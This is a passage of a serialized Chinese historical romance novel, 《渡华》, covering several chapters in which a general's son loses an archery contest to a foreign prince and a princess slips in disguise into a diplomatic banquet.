“父亲。”被凌晖当场下了面子的凌文袤不等加木回应凌晖,眉头一绞,干脆正了正身光明正大地面向骆苕斩钉截铁,“我不会输。” 同样的话就这样重复两遍,求这一场骑射似乎不是为了他自己,而是为了他眼前的佳人。 凌晖心中一凛,张了张嘴一时不知该如何使用说辞,眼尾的沟壑控制不住抽搐。此刻凌晖眼中的儿子是一个喝下迷魂汤的男人,望着给他下蛊的主人宣誓,他不会输。 凌晖猜晓这是凌文袤的一计,只是这一计不在他们之前的商议计划当中,他暂且猜不透,最后只剩冷冷地沉寂,如同一位老父亲眼睁睁看着自己不争气的儿子沉沦在美人皮里。 骆苕一直垂着眼纹丝不动,非礼勿视,只要没人出声牵扯她,她会一直保持这个垂眸几近闭眼的状态。 将将的凌文袤不仅莽还憨又假,她怕自己一对眼会泄露他的戏码,坏他们的事。 凌文袤看着骆苕,眼波掠过骆苕的后颈,再掠过案角,心中私念翻飞。 她穿僧衣不好看,等她还俗之日,定要把珊瑚珠串先挂在她光洁莹白的脖子上,之后再一件一件地穿上艳丽裙裳……甚至他还有时间回想一遍上次见她时的样子,那时她还会紧张地抖一抖眼睫,而这次居然纹丝不动,是因上次靠得太近的缘故? 想及次,不由想靠近。 此情此景,加木面显困顿,不太相信凌晖会把一个为了美人失去心智的儿子召来御前,但凌晖吃惊无奈的神情却不像骗人。 最终,加木露出平和一笑:“大冢宰,令郎年少豁达,不愧是将门之后。至于骑射,不过是比试一场,我愿意奉陪,方才已经说过,输赢不论,只愿今夜的酒盏常满长盈。” 且像哄小皇帝骆炎玩驴鞠一样。 “凌文袤——”凌晖低沉一嗓,一语惊醒梦中人,凌文袤回身抱拳作揖,“谢大王子。” 凌晖一言不发拂袖回座。 凌文袤正欲归位。 “凌五郎。”这次加木却将视线落在骆苕身上,用极具考究的语气向凌文袤徐徐问去,“你在京中时任何职?” 凌文袤脚下一收,顿时意兴阑珊,倒也痛快作答:“时任玄雀卫统领。” “玄雀卫,守卫京郊的玄雀卫,”加木若有所思轻轻点头,一侧的发辫微微在衣襟前滑动,“那凌统领一定要好好看护住宁华长公主。” 凌文袤亮眸一缩,接住加木从骆苕身上收回的目光,学起加木的似笑非笑一字一字道:“大王子,凌某把宁华长公主看护的非常好,极好,顶好,您若这样特意提醒,会让凌某心中十分不安的,您这是要抢亲吗?” “凌文袤!”凌晖再也耐不住,大声呵斥,“你现在给我下去!” 两国邦交怎么被搅和成儿戏似的,万幸大嵘的百官和东刕接亲来使在击鞠场前并不在这博望台,若让他们亲眼见到如此不顾脸面龌龊的凌文袤,凌晖必然不准许。 毕竟这是他的儿子。 加木眉眼一舒唇角识趣地勾了勾,不再作答,暂且当凌文袤是个痴情种。 终究还是被牵扯进来了,骆苕缓缓起了身,不忘把珊瑚念珠挂回虎口,拿起佛经:“凌统领留步。”又转向加木,“大王子,骆薇离开亲友远嫁东刕,定有诸多不便之处,日后还需大王子多多照拂。” 骆苕一顿再次启唇,“宁华为大王子和安乐公主备了一份随礼,礼单已呈至宫中,希望大王子和安乐公主能喜欢,在此,宁华只愿大嵘和东刕结以永好。今日宁华祈福已经完成,不便久留,先行告辞。”说完行了一个庄重的佛礼。 这份骆苕为东刕大王子和安乐公主准备的随礼,实际是天官府替骆苕准备的,借由骆苕个人名义赠与东刕大王子,这也是此次骆苕必来博望台的缘由,凌晖将长公主和凌家捆绑在一处,有意让外人知道,凌家待长公主不薄。 而这份礼单上除去丝绸布匹,金银漆器……还有东刕一直想要的各类医书典籍和两位医师。 加木掌心叩胸回礼,并未说话。 上座一直被忽视的骆炎突然急了:“宁华……你是不想陪朕了吗?一会儿朕……朕想你看着朕驴鞠……好不好?” 骆苕心尖一刺没看骆炎,转向一侧:“大冢宰,宁华该回府了,请凌统领送我出御苑。” 冷静片刻后的凌晖,恢复如初执盏起身,眼风扫过不争气的凌文袤转去击鞠场:“长公主不妨等陛下与大王子玩一场驴鞠后,再回府不迟。” 骆苕默然。 “凌统领。”加木却有意留下凌文袤,“比试骑射过后,若你输了,不妨留下来同我一道,陪皇帝玩一场驴鞠。” 加木对于骑射势在必得,而凌文袤听闻驴鞠,心中万般抗拒,嘴上却轻佻地回了一个“成”字。 女子击鞠赛程已过大半,骆苕能留下来,骆炎欣喜不已,突然兴致盎然地指着前方大喊:“宁华,你快看!快看!” 骆苕心中明白骆炎所指,方才繁京队进去一记绝妙好球,而赛场的比分也是繁京队领先,按这样的趋势,可以断定繁京队的女子击鞠会赢下这场比赛。 阿姊猜,会赢。 炎儿信阿姊。 明明是一句无法预知结果的妄语,而骆炎却赋予它坚定的信念。 烈日下,凌文袤双臂抱胸,整个身躯呈现出舒展放松自傲的姿态,不紧不慢地向下手的史吉撇去一眼,似乎已经在宣示这场比赛的胜利者,史吉双目横斜,隐忍克制的背后是对凌文袤的不屑。 凌晖有一瞬没一瞬地在凌文袤身 19. 第十九章 《渡华》全本免费阅读 场外呼声连天,似乎都在催促凌文袤。 催促他赶快破加木的局。 凌文袤同样调整身姿,快速从箭囊里抽出两箭,正当众人拭目以待时,凌文袤上弦的两箭却先射出一箭,而后再射一箭,他直接摒弃之前的花招,之后都是只取一箭射一箭,稳如泰山,赛程过大半也未见凌文袤破局。 众人虽未能瞧见凌文袤破加木的局,可赛场却因加木异常精彩。 加木骑射花样层出,速度极快,他似乎在用这一场骑射教训凌文袤,连同之前的那两场击鞠的失利都赢了回去。 已经近到御前的慕容霆彦,双手交叠在身前望着赛场,若有似无地感叹:“后生可畏啊。” 凌晖负手而立,眉宇间充斥着凝重,髯须纹丝未动,良久,他才展眉出声回应慕容霆彦:“伯贤啊,我们是不是真的老了,如果放在十年前,得见今日这样的场景,铁定不管不顾,一把脱下身上的官服,冲进赛场一较高下,哪里会去想自己的对手是谁,该不该赛这一场。” 年少时,便没有怕的时候。 两位半道老友,相互扶持了也将近十余年,凌晖还是习惯叫慕容霆彦的表字。 二人都听出了对方的话外音,慕容霆彦所指的是东刕大王子加木神秘莫测,暗示两国邦交并不会长久,而凌晖的片刻沉默是对慕容霆彦的认同,只是今日的场合不适合二人畅谈国事,出声回应则是避开正题直指嫡子凌文袤。 凌文袤会输掉这场比赛。 “不老,一点也不老。”慕容霆彦平心笑了笑,“即便现在脱下这一身的官服,骑上马背,你我自有不输后生的法子,比不上他们的冲劲,但咱们可以智取。” 一顿,话题转过来,“袤儿虽然还是后生,但我个人极为欣赏今日的表现,他可以轻松地挑起他人斗志,过后却沉稳自若,不受输赢影响,一箭比一箭稳。” 听慕容霆彦夸赞凌文袤,凌晖一时竟有些恍惚,陷入矛盾之中,凌文袤已然成年,这个年纪本该是磨炼的时候,却一直未敢真正放兵权给他。 放在寻常人家,听旁人夸赞自家儿郎,本心是喜悦的,只是,将来承袭帝位的一定会是世子凌承佐,对于凌文袤这个儿子,凌晖不得不长久地去防备,去考量。 骆苕立在不远处,定睛在赛场,两位臣工的对话清楚地灌入耳内。 赛场上的箭靶已经扎满箭,一时看不出谁胜谁负,而两位臣工在谈话间,已经把赛况结局看得明明白白。 结局很快知晓,判官清点箭矢,加木胜,胜三支。 一场精彩绝伦,悬殊不大的比赛就此结束,正当众人还在惋惜凌文袤输掉比赛时,只见凌文袤将长弓狠狠地摔在地上,扬长而去。 旁观者顿时嘘声一片。 原来大冢宰家的儿郎是个输不起的。 骆苕也被凌文袤这一举动吸引,她还瞧见慕容余紧追在凌文袤身后,拉拽凌文袤的衣袖,似乎在安抚,又见凌文袤一把甩脱慕容余,气哄哄,直挺挺地朝这面来。 慕容霆彦和凌晖对视一眼,慕容霆彦就此退去,凌晖面无表情地等凌文袤过来。 只见凌文袤朝凌晖伸袖一拱理直气壮:“父亲,儿子输了!今晚酒宴之上任凭他们处置,父亲不用替儿子代罚。”又转向骆苕,“长公主,借一步说话。” 凌晖无暇理会,直接出篷帐拾阶而下,朝赛场加木那面去。 慕容余后悔跟来,给皇帝骆炎行过礼,又给骆苕行了一礼,众目睽睽之下礼数必须周全,凌文袤看向皇帝骆炎,这才行礼,却对慕容余说:“你赶紧去把你的篷帐里头的人腾一腾,我与长公主有要事相谈。” 慕容余赶紧退去腾篷帐,根本不想在御前多耽搁一瞬。 骆炎略担忧,忍不住出声问询:“阿姊?” 骆苕回望,宽慰道:“无妨。”望了谢奎一眼后,掩着步障跟随凌文袤前往远处篷帐。 正值散场,大多重要臣工在祭天祈福后就已离场,余下为数不多观看赛事的臣工,见大冢宰凌晖往赛场去,皇帝和大冢宰在两个方位不在一处,他们一时也迟疑了,最后几人商议还是先行来场外,给皇帝行告退礼后,再去给大冢宰行告退礼。 骆苕踏入篷帐,凌文袤一把将骆苕站立那面的篷帐帐帘扯下,挡住外头视野,又把婢女赶去远远的,自己则直直地立在敞开的那面。 身处一明一暗的两人,都不知该如何开口。 凌文袤下意识地想双臂抱胸,转念想到自己是个输掉比赛的失败者,不适合做这一动作,便生生忍下,双臂乖巧地垂在身侧。 半晌过后,凌文袤脸朝着中庭的骑射场没看骆苕,直问:“你在你的脸上都涂了些什么?灰头土脸的,配上这一身同样灰啦吧唧的僧服,不好看,下次记得把你的后脖颈再涂灰一些,免得让人看出破绽。” 失败者的怨气就是这么直接,骆苕确实乔装过,脸面稍作修饰,给自己全身能露的地方也上过一层灰粉,后脖颈这么重要的暴露处,肯定越发仔细地打理。 骆苕攥握珊瑚念珠,温和微笑:“你输了,可是在让着东刕大王子?” 若东刕再输,面上确实不大好看,折损凌文袤个人声誉,给加木,给东刕一个成人之美,也算是义举。 “没有。”凌文袤回以冷冷一笑,“骑射是他唯一的拿手好戏,何须我让?你这一番假意抬举,我实难消受。” 骆苕眉眼一松,认真地看着他:“我不大懂骑射,只是凭心而论。” 不大懂骑射,骆苕这几个字是一字字说的,说的极慢。 凌文袤隐约记起,他曾说过她骑射俱佳,既然不大懂,为何当初不反驳,他又隐约记起从前关于长公主传言的零碎片段,喜击鞠,那自然而然地归纳为骑射俱佳,原来她不大懂,他忽略了传言,经多番传递会被夸大扭曲。 不懂便不懂吧,无伤大雅。 见凌文袤默着,骆苕开口问:“你说有要事相谈,有何要事?” 凌文袤将视线从骑射场划过来,自轻似地看着骆苕:“并无要事,只是让大嵘的臣工,把我这个长公主的裙下臣看仔细些,初次亮相,让他们见识个够。” 这回骆苕没品出话中怒意,倒夹带了几许无奈。 她动了动唇,想了想措辞,问:“怒摔长弓,这戏做的是否太过了?” 凌文袤嗤了一声将脸扭走,痞态再现,非常不屑:“谁说输了就不能摔弓?谁说夸下海口要赢,结果输了就一定是做戏?那么多人都这样,到我凌宪身上怎么就不行了?我可没做戏。” 他矢口否认做戏,胸腔内却始终堵着一团挤压不出来的污杂。 骆苕不再接话,只是静静地站着。 不过片刻, 20. 第二十章 《渡华》全本免费阅读 凌文袤出御苑后,就将寻找义髻、侍女装束的事情交给了慕容余,慕容余对这个在行,一口答应下来,再一次追问确认:“这真是给长公主准备的?” 这事对慕容余瞒不住,索性讲开了,凌文袤一脸云淡风轻:“待在京都的这些日子,你看我对哪个女人上心过,不给她准备的还能给谁?” 慕容余有些恍然,矛盾在心中一直打转。这些日子凌文袤的怪异行为他是看在眼里的,可一直没敢点破。 关于骆苕,有些久远的回忆,慕容余同样不敢敞开说,敞开问,就像面对日暮西山的大嵘,他总是刻意回避,告诫自己,天下大势,不是他慕容余可以左右的。 在脑袋炸开之际,他选择直接将记忆翻转过去,松一松心神说道:“你……你怎么敢的呀,就……就长公主那长相,把她往男人堆里送,混不过去的呀。她去了做……做甚?给你斟酒么?还是听你胡吹?一群酒肉臭男人,耍酒疯打荤诨,不得把人给吃喽。” “谁说要她混进去,捡个隐蔽的地方站着不就行了,她非要去,我还能拦得住她?”凌文袤说得恬不知耻。 想到她每日待在那沉沉的公主府,半夜不睡觉,他总想着把她诓出来。 慕容余心中万马奔腾,想想又觉得刺激,长公主长这么大,在外都是尊贵得体的名声,没听说过她仗着身份撒泼蛮横过,想起凌文袤方才掷摔长弓的情景,总觉得骆苕这是被凌文袤熏染所致。 近墨者黑。 慕容余还是没拗过凌文袤鲁莽的那一掷。 “凌宪,你老实告诉我,骑射的时候你是不是没尽全力?旁人不知道你的底细,可我知道,大可不必瞒我。至于长公主这边,今晚我帮你打掩护,绝不让你在她面前再折面子。” 凌文袤仰天打了个呵呵:“慕容无双,既然你知道我的底细,何须再来问我?我是没尽全力,可那加木最后也没尽全力,胜我三□□是他知道我没尽全力,控了分筹。” 加木那方,慕容余只看清了花里胡哨的模样,还真没细琢磨,当时两眼只盯着凌文袤,听凌文袤这样一说还是吃了一惊。 “真有这么邪乎?你是怎么看出来他控分筹的?”慕容余暗唾一口,“他祖宗的,也好,连输两场,最后的骑射本来就是给他们面子让他们赢的,若再输,就是我们赶狗入穷巷了,他们会咬人的。” 凌文袤没再回应慕容余,他和加木都没探出对方的实力,他并不十分在乎输掉这一场骑射,又不是立军令状。 他在意的是加木既已上钩,却能迅速地挣脱钩网,不动声色地做出回击,结束后,加木竟像没事人一样,一字不提。 这样一位东刕王子,倒是个厉害货色。 二人躲在骆苕回公主府的必经之路上,等骆苕的车驾一靠近,便拦截了下来,玄雀卫两大统领齐现身,神鹰卫立马让位置做配合。 凌文袤把骆苕直接交给了慕容余,让慕容余想办法藏人乔装,又丢给骆苕一顶从御苑顺来的幂篱后,说先回府听训就扬鞭而去。 慕容余接了这棘手的差事心中发憷,单独与长公主待在一处惶惶不安,该把人往哪里藏? 自己府上是不能藏的,父亲肯定会发现,而他没有外宅,只能跟着骆苕先回东郊公主府,再独自去城中安排事宜,最后再来接人去赴宴,这样一来,时辰全耽搁在路上,他还想回家洗个澡睡个大觉,好以应付今晚的酒宴,这下全没戏了。 有时候男人的脑筋执拗起来是没有办法的,凌文袤和慕容余一心只想着半道把人接走,殊不知在骆苕眼中慕容余左右为难的样子却很滑稽。 骆苕抖了抖置在腿上的幂篱,薄纱上绣着的压角蝴蝶跟着一起摇摆。在御苑她说容她想想,凌文袤却不容她推辞,想着法子带她赴宴,那便去赴宴。 就这样一路回了公主府,骆苕只说让慕容余稍等片刻,被申怡和平平拥着回屋换了身行头后出府。 慕容余正焦急地搓手等候,一见里头的人出来,眼前立马亮堂起来,芊芊玉立的女子,里着藕色衫子长裤,外加艾绿缘边半袖袍,脚蹬长靴,配上方才凌文袤顺来的幂篱,芳华乍现,绝美。 骆苕挽起薄纱,幂篱下覆头垂纱刻间曝露,她对慕容余露出浅浅一笑:“你不是说,阿姊的打扮必定会成为京都之风吗,今日阿姊便带你去试一试。” 慕容惊喜之余流出一脸难色,脸颊似笑又似哭:“长公主……长公主阿姊,这样会不会太招摇了?” “今日你们赢下比赛,招摇一些也无妨的。带我去城中庆远楼附近一处雅静的乐坊,你再去忙你的,我在里面等你,到时候来接我便是。” 酒宴设在庆远楼,附近的乐坊慕容余熟悉得紧,突然慕容余有些心虚,仿佛自己平日里混迹的场所被骆苕揭开,明晃晃呈现在眼前。 骆苕挑了玄雀卫的一匹白马,翻身上去,随慕容余赶往城中,一路慕容余心神跌宕,很快便被骆苕的安排抚平,今晚酒宴骆苕选择着男装,戴方帽,混在酒楼的小厮中,由慕容余稍加掩护择个不起眼的地方,静观就好。 过光兴门时,守城护卫按例问询,慕容余镇定地给骆苕编了一个小娘子的名讳报了过去,护卫也便轻松放了行,今日庆远楼设宴招待东刕人,美人自然不会少。 烈日当头,城中行人不多,白马上的骆苕格外引人注目,过目难忘。行至乐坊,慕容余挑了个宽阔雅间,并吩咐雅间外身穿便装的玄雀侍卫守好雅间,他辞过骆苕匆匆离开。 骆苕囫囵食了些茶点。 神虚,再加昨夜没睡好,脑袋有些发涨,坊内传来的清妙琴音此刻都觉得吵闹,手倚隐囊,躺进软榻趁机歇息一会儿。 ** 驿站内,独自站在厅内的加木薄唇紧抿,眉头重重压向眼眶,此时的他,脸面难得迸射出沉思中的一点粗戾。 史吉推门而入,后脚跟进来契勒,契勒双腿一定,掌心叩胸:“大王子,兄弟们都安顿好了,嘱咐今晚不醉不归。” 与其说安顿好,不如说安抚好,苍狼队不可能输得心服口服,往年输掉比赛,气都是洒在大嵘身上,这似乎都成了惯例,而如今,加木定下铁律,惹事生非者必有重罚,是真罚,丢性命的那种。 加木抹平眉角,伸手摘下额上的青蓝额带,松松地勾在指尖,语音平和:“三日后,我们即将启程,在大嵘逗留的这些日子,你们二人有何心得?” 在场的三人,都是第一次踏足大嵘京都,今日又见了大嵘的诸多臣工,论心得,一时半会儿道不完。 契勒还默着,只见史吉鼻梁一紧,咬牙切齿唾弃道:“那个凌懦夫就是个杂种,以后我一定替大王子亲手宰了他!” 史吉说不出杂七杂八的心得,现在一心只想宰了那个狡诈的懦夫。 加木闻言,笑了笑,伸手拍史吉的肩胛,予以安慰:“你这性子,还需得磨炼磨炼。” 一旁沉默的契勒终于开口,“大王子,这次大嵘之行,属下没白来,每到一处,无不刺激属下的双眼,令属下的心中充满了兴奋。”语气是经内心压制过后的平静。 契勒相较史吉谨慎一些,可在加木面前却直接表露了心声,从初入边境的蔑视,到令人亢奋的景与人,越接近京都越繁华、梦幻,这些景致渐渐与书册上的文字,绘本重合,再慢慢超越,强劲有力地刺激五感,让人沉迷。 加木微微失神。 他唇角勾起一抹牵强,如实道:“这片千年福地,人人都喜欢。但这片土地如今一分为三,东有圻、南有峪……我们未涉足的大圻、大峪比大嵘更加繁盛。他日,我一定会亲自带你们二人去看看。” 听见他又说:“带你们两个来大嵘,就是让你们记住大嵘这片土地的样貌,以后同样要记住大圻和大峪,它们有多美好,把它们在脑中刻得就有多牢固。往后要常常思索,东刕与之相较,究竟差在哪。” 东刕有最血性的勇士,最强悍的铁骑,可依旧被看似羸弱的大嵘挡在,黄沙扬天的源头。 史吉切牙,不甘:“天神赐予我们东刕至高无上的胆量,何不让我们大漠的雄鹰扫平他们!” 因史吉的话,契勒被激起了些许愤慨,不平道:“大王子,我们东刕比他们都要强,不差。” 加木从两位气哄哄的属下脸上扫过,勾额带的指尖不由动了动。 “东刕又强又有胆量,为何征战百年却还没扫平他们?”他平和相问,又缓缓吁气自道,“一定是东刕还不够强。” 听加木像在妄自菲薄,史吉与契勒二人心中更加愤懑,史吉看向契勒。 契勒双手握拳,抬眼,目露期许:“东刕是没有像大王子您这样的首领,如果是大王子带领我们,扫平他们指日可待。” 加木笑了笑:“契勒,你就这么点拍马屁的心得?” 被加木这样一呛,契勒哑在一旁默不作声。 加木敛笑,清晰地说:“我们东刕人有胆量有胸怀,可没有像雄鹰般的眼界,如此,想要得到,却得不到的东西就只会变成无边贪欲,久而久之,这种贪欲变成心魔,催促着你去不停掳掠。然而,这种掳掠只是自我蒙蔽的一种假象,使你肉身暂时满足,那永远得不到的东西却依旧高高悬挂在天上,成为你永远不敢触及的梦魇。” 加木要东刕征服这片千年福地。 堂内安静如溪,契勒内心在努力解析加木的话。史吉眨眨眼又眨眨眼,再瞄一眼契勒,很想要打破沉闷。 “罢了,不难为你们了。”加木松神,“初次踏入大嵘京都,你们二人已经做得很好。” 契勒似乎被敲中窍门,懂了一些,不再那么愤懑,可那没有雄鹰般的眼界几字却实打实地扎在他心头。缓缓出声相问:“今晚酒宴之后,便是修整,等吉时一到,接安乐公主启程东刕。 21. 第二十一章 《渡华》全本免费阅读 夜幕四合,微风卷走夏日暑气,天地渐渐冷清下来。 京都城行宵禁的时辰虽然还未到,但也已经到了商铺收摊的时候,茶摊收凳榻,酒市收酒幌,游商收拾行囊,街巷商铺里也只有零星的几盏灯火,从窗内透出,湮没在沉沉暮色之中。 此时,只有城中最繁华的天街西侧,和瑞辅街上的庆远楼灯火如昼,从里面传出阵阵震天长笑,在楼外的守卫习以为常,转身望了一眼。 突闻里面传来清唱。 是东刕人在唱他们的新曲,歌声具有强劲的穿透力,穿过耳膜,魅惑人心,守卫听得有些入神,过了好一瞬,守卫掐断沉浸,回身再望一眼,正欲回首,只见一人踉踉跄跄地出来。 守卫转过身躯,一脸恭和:“慕容副统领,您怎么又出来了?” 这已经是第二次看到慕容余进出庆远楼,想必今夜的烈酒太烧人。 慕容余一脸潮红,顿足在门口掐着自己的脖子做呕状,半晌不见秽物,干咳了两声,颤颤微微出声:“他丫的,再……再容我出来透透气。”余光往身后一瞥,一把拉过随他出来的小厮,攀上小厮肩膀,“顶不住了,快扶我一把。” 小厮扣着头,被慕容余这样大力一拉,身形随着力道扭了一下,不过他还是听话地搂住慕容余,稳稳地将人扶住,躲在慕容余腋下托住整个身躯。 慕容余搂着小厮再往外走,不忘笑嘻嘻回头,招呼:“你们辛苦了啊!” 守卫拱手:“慕容副统领客气了,这本就是卑职应尽之责,”眼见前头二人双双又歪了一下,忙说,“您当心着点。” 慕容余举起手臂,撑过头顶使劲摇晃,向守卫昭告自己没事。 门口的两个兵卫渐渐看他们远去,相视一眼,其中一人问:“天黑了,要不要上前帮一把?你看那小厮瘦得跟猴儿似的,只怕受不不住慕容副统领那身板。” “你我当的是守卫的值,可不能出错,一会儿巡防营的过来,如果慕容副统领还没回来,我们再禀上去。”另一个兵卫抬眼看了一下天,这天黑得只剩一丝可怜的灰白,他说,“兴许是喝多了,找个隐蔽的地方方便方便,像刚才一样,一会儿就回来。” 言之有理,二人默契地默认猜想。 可又觉得怪怪的,楼后院花厕能解决的事,偏生不顾礼数要去街上。 怪,怪癖。 过了拐角,慕容余立马扯起小厮的袖子,抄近道奔往乐坊。 慢慢,小厮被拽得气喘吁吁,上气不接下气,帽檐兜着风呼哧呼哧,按都按不住,系带都快把脖子给勒断了,他是个看窗小厮,穿得并不利索,宽袖宽袍同样跟灌了铅似的。 好不容易到了乐坊,不容小厮多吸一口气便被慕容余架着上了雅间,踏入雅间,小厮脚下一软,瘫了下去。 慕容余拿事先准备好的头套往小厮头上一套,银钱往他手中一塞:“我没来之前你哪都不能去,晚些我亲自送你回去,听明白了没。” 骆苕从屏风后现身,只见小厮点头如捣蒜。 慕容余朝骆苕使了个眼色,二人下雅间,出乐坊隐入夜色。 小厮见没了声响,慢慢拉下头套,还使劲喘了两口新鲜空气,望着银钱欲哭无泪。 这一切对他来说都是稀里糊涂的,慕容余命令他,他只能照做,楼内那么多小厮,为何是自己啊! 骆苕扣着首,躬背跟在慕容余身后亦步亦趋。慕容余惯会体谅女人,行得慢。 刚刚过了拐角,慕容余暗骂一声,巡防营的这么快便寻人来了。 骆苕见慕容余停住,抬眼看见不远处巡防营的人,问他:“接下来该如何?” 慕容余对骆苕说过同小厮一样的话,一切行事按他说的照做。 蒙混两个守门兵卫轻而易举,慕容余没想过巡防营的人会过来,他只能老实地说:“我醉了……”怕骆苕不明白,还挥了挥右臂,悬在半空,“醉了……” 骆苕了然,上前朝他臂下一站架住慕容余,发觉慕容余的长臂死僵死僵地,便快速双手一擎,把慕容余的长臂揽下,攥在手中。 骆苕见过许多醉鬼,也见过许多醉鬼被人架走,所以她懂。 慕容余心神一定,半拖着骆苕前行,巡防营的人刚才得了信过来瞧瞧,见慕容余返回便上前问询,慕容余拍拍胸脯,嗯啊几句悄无声息地换人,臂膀搭在了巡防卫兵身上。 骆苕被腾空。 烛炬照得前路铮亮,夹在巡防队中间的骆苕双手叠在身前,一路清闲。 踏入正门,骆苕被慕容余掩着往内阁走,影影绰绰,接踵穿行的人挨着骆苕擦肩而过,好不热闹,酒气混着热浪趁着风势,有一阵没一阵地往骆苕身上送。 行至廊道,二人放缓脚步。 左为男宾的“纵”阁,右为女宾的“横”阁,两边的高门全部敞开着,越过一扇又一扇,骆苕把头扣得更低了。 这让她想起从前,从前扮作小仆俾,听那些文士争得面红耳赤的时候,多走一步都是得逞的窃喜。 忽然“纵”阁内有人喊慕容余:“慕容无双,你又跑去哪儿啦,还不快回来罚酒!” 慕容余的脚步停住,骆苕却没耽搁半分,依旧迈着平稳的步子往里走,见着轩窗便收住脚,左右无人,她转身立在一旁。 看窗小厮,顾名思义要看护住轩窗,免得醉酒的贵客不留神栽出窗外,无人看见,无人搀扶。 庆远楼之所以定下这规矩,是从前有贵客栽出去过,摔死了。特别是这炎炎夏日,醉酒失了心智的贵客欲乘风而去,甚至会从楼上窗口一跃而下。 每逢大宴,不多遣几个小厮看护,折损的便是庆远楼的声誉。 慕容余扶着门框,趴在上头冲着里面一笑:“急个甚,我这不是回来了?罚!自然要罚!” 偏头一看,骆苕扮作的小厮浴在昏暗之中,规规矩矩。 他长腿一跨,行得张牙舞爪,眼风向凌文袤递过去,一脸的自满。 先前起宴后,斛筹交错,凌文袤就被东刕人灌了好些酒,他来者不拒,一杯一杯闷声灌下,输了不骑小毛驴,拂了加木的面子,多少要把面子给人还回去。 凌文袤起个了爽快的头,输了两场的苍狼队自然逃不过被人灌酒,再加没有高官在场,减去许多的礼制束缚,场面一度和谐喜庆。 此时酒过微醺,凌文袤斜斜倚在座上,单腿弓着,膝上托着腕子,下垂的指尖捏着只空 22. 第二十二章 《渡华》全本免费阅读 骆苕久未骑马,今日的这一趟让双腿起了酸胀,曲声响起时,她弯腰拍了拍双腿,顺便舒展了一下筋骨。 这扇轩窗在两阁的过道尽头,挨两阁很近,里头的响动只要稍加注意,可听清七成,若想看,移下步子也可窥得一二。 骆苕扶了一把方帽,确保里头的皂巾安然无恙,乔装后的她不担心面容,只是担心方帽下的皂巾,没有男子义髻只能用皂巾代替一下。 鬼使神差地来了庆远楼扮作小厮,结果没多大意思,不像少时扮作小仆俾那样听得津津有味,大约是里头的酒话,提不起她的兴趣。 骆苕暗暗叹气,百无聊赖地踢了踢下摆袍角。 一时只剩幼稚无趣。 她看了一会“横”阁,再侧目看向“纵”阁,缓缓移动步子寻找合适的角度,穿过缝隙朝里望去。 阁内稠人广坐,男人各个神色浮夸,传杯弄盏。 今日未设主位,执意要她来的始作俑者凌文袤,坐席在主位下手,骆苕看不全,只窥得为他斟酒使女的裙裳和他撑在榻席的半臂。 骆苕决定不再往前探,敛目后撤,身形刚动了动,她看到史吉起身要出来,那只后撤的脚却一时定住。 史吉出阁门时,习惯性左右探看,目光扫过骆苕时,骆苕缩了一下脚,只是她没有退,反而直起身板,抬头直直地看着史吉。 史吉正要将她忽视,在回头时突然觉得这个小厮有些异样,不免再看一眼。 这一眼史吉认出骆苕,心中一惊,立马恢复正常,只是离开时脚步有些焦促。 骆苕这才退回原处,不消片刻,史吉回来,身侧跟随两位垂首的东刕美人,一路故意行得慢,望向廊道尽头。 骆苕再大胆一些,举起手臂,掌心扣向胸前,即便昏暗之下,史吉也能快速捕捉到了这个属于东刕的动作。 史吉心下大骇,扭过头去,领着美人进入“纵”阁。 骆苕掌心攥握成拳,慢慢从身前滑落,耷拉在身侧。 按照东刕幼子继承王位的制度,大王子加木并非王位继承人,但加木可以说服部众,以两万匹骏马为聘入京接亲,御苑内文质彬彬,做派内敛,不似东刕人以往的作风。 骆苕靠上墙壁,低眉垂首,对喧闹的酒宴充耳不闻。 “纵”阁开始献美人助兴,“横”阁内的女宾也是瓜果美人,自然觉得差些意思,纷纷起身朝“纵”阁这面来敬酒,贪一下热闹。 如此一来,仿佛被自家女眷盯梢的男人们便被掣肘,放不开手脚。 不知哪位女宾,识趣提议:“不如我们女郎们,攀上这庆远楼,登高望远醒醒酒去!” 提议人人都懂,这时,该给男儿们一些体面。 宴上的儿郎们,最小的不过十五六岁,最大的未及而立之年,击鞠场上个个年轻气盛,虎虎生威,可对于美人,好些青涩未退的会坐怀大乱,对于情爱,还带着美好的懵懂憧憬。 说女郎们给一些体面,也不妨说是女郎们考验儿郎们的一道门槛,女郎们趁着舞曲未歇,相拥着离开,等酒气散去一些,便是来这“纵”阁检查结果的时候。 “横”阁内还有几位女郎,沉静地赏着舞曲。 李印仪专心吃食,仿佛外界闹成何样都与她无关,执起汤勺,撇去浮油,对着食釜中的牛肉颇感兴趣。 贺兰融端起酒盏起身,朝座上一敬,一饮而下。 “诸位。”他说,“我去陪我夫人。”声色板正得如同跟同僚交代政务。 座上的大嵘儿郎知道贺兰融脾性,根本留不住,所以没出声,东刕人方才已经见识过他对美人的态度,况且她的夫人李印仪在场,也没出声。 愣是众人,安安静静地目送贺兰融疾步离场去往“横”阁。 凌文袤一早已经见到史吉领进来的两位美人,因贺兰融离场气氛有些僵,凌文袤将案上的酒壶一掳,塞进跪在身侧的美人怀中。 “赏舞吃酒,美人作陪,你们楞着干什么?” 又是凌文袤发话,史吉与契勒对视一眼,史吉起身边领着美人边说:“凌统领,大王子欣赏你的落拓不羁,特意将两位美人送给你,让你……好好消享。” 近到跟前,史吉还向凌文袤正正鞠了一礼。 慕容余眸色发紧,正欲回应,凌文袤悠然开口:“那就让美人一起坐下,同乐,同乐。”执着酒盏往后挪了挪。 方才的的美人见机起了身退去一旁,东刕美人趁机一左一右贴着凌文袤坐了下去。 凌文袤的大半项背贴着一个美人,几乎没有空隙,美人的玉臂顺势自下而上,慢慢攀上他的肩胛,五指犹如信蛇舔舐,待触及脖颈的裸漏处,凌文袤肩胛一弹,东刕美人的雪玉五指似被震慑开,停滞不敢再继续,生生地架在空中。 凌文袤慢慢扭头,冷眼斜下去,东刕美人与他对视上,领会他眼中的警告,妙曼地把手臂缩了回去。 凌文袤缓缓回头,直接拿酒盏挑起另外一位东刕美人的下巴,美人垂着眼眸没有动弹,凌文袤眉眼轻挑,勾起薄笑,薄笑逐渐转换为一弧讥讽漫去耳根…… 他无奈道:“今日骑射输给大王子,既为败者,我凌宪还能消享如此绝色美人,于心不安那。” 不安二字说得极为挑逗,尾音那个“那”字轻轻说出,带有几分惋惜。 或许是抵在颌下的酒盏边缘有些寒凉,眼前的美人微微抖动眼睫,顺着鼻翼下有些许紊乱的气息,将眼睫缓缓掀起,脖颈再迎上一些,若有似无的眸光停留在凌文袤的鼻尖。 莹润洁白的脖颈修长延绵,将好展示出七分细嫩柔滑,余下的三分恰到好地延伸至浅碧裙裳之下,引你去畅想。 